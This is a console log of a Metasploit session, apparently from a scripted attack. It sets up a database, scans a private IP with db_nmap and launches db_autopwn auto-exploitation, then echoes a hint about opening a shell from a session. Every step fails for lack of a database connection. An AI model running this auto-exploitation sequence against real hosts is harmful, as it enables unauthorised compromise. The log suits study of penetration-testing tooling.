sessions -l
echo "If it states No sessions, then you were unsuccessful. Simply type sessions
-i <id> to jump into a shell"
# # ###### ##### ## #### ##### # #### # #####
## ## # # # # # # # # # # # #
# ## # ##### # # # #### # # # # # # #
# # # # ###### # ##### # # # # #
# # # # # # # # # # # # # #
# # ###### # # # #### # ###### #### # #
=[ metasploit v3.5.1-dev [core:3.5 api:1.0]
+ -- --=[ 616 exploits - 306 auxiliary
+ -- --=[ 215 payloads - 27 encoders - 8 nops
=[ svn r10822 updated today (2010.10.25)
msf > db_destroy pentest
dropdb: could not connect to database postgres: could not connect to server: No
such file or directory
Is the server running locally and accepting
connections on Unix domain socket "/var/run/postgresql/.s.PGSQL.5432"?
msf > db_create pentest
[-]
[-] Warning: The db_create command is deprecated, use db_connect instead.
[-] The database and schema will be created automatically by
[-] db_connect. If db_connect fails to create the database, create
[-] it manually with your DBMS's administration tools.
[-]
createdb: could not connect to database postgres: could not connect to server: N
o such file or directory
Is the server running locally and accepting
connections on Unix domain socket "/var/run/postgresql/.s.PGSQL.5432"?
[-] Error while running command db_create: Failed to connect to the database: co
uld not connect to server: Connection refused
Is the server running on host "127.0.0.1" and accepting
TCP/IP connections on port 5432?
Call stack:
/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/db.rb:1941:in
`db_create_postgresql'
/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/db.rb:1478:in
`send'
/pentest/exploits/framework3/lib/msf/ui/console/command_dispatcher/db.rb:1478:in
`cmd_db_create'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:246:in `send'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:246:in `run_com
mand'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:208:in `run_sin
gle'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:202:in `each'
/pentest/exploits/framework3/lib/rex/ui/text/dispatcher_shell.rb:202:in `run_sin
gle'
/pentest/exploits/framework3/lib/rex/ui/text/shell.rb:143:in `run'
/pentest/exploits/framework3/msfconsole:124
msf > db_nmap 192.168.0.190
[-] Database not connected
msf > db_autopwn -p -t -e -b
[-] Database not connected
msf > sleep 5
msf > jobs -K
Stopping all jobs...
msf >
msf >
msf >
msf >
msf > sessions -l
Active sessions
===============
No active sessions.
msf > echo "If it states No sessions, then you were unsuccessful. Simply type se ssions -i <id> to jump into a shell"[*] exec: echo "If it states No sessions, then you were unsuccessful. Simply typ e sessions -i <id> to jump into a shell"
If it states No sessions, then you were unsuccessful. Simply type sessions -i <i d> to jump into a shell
msf >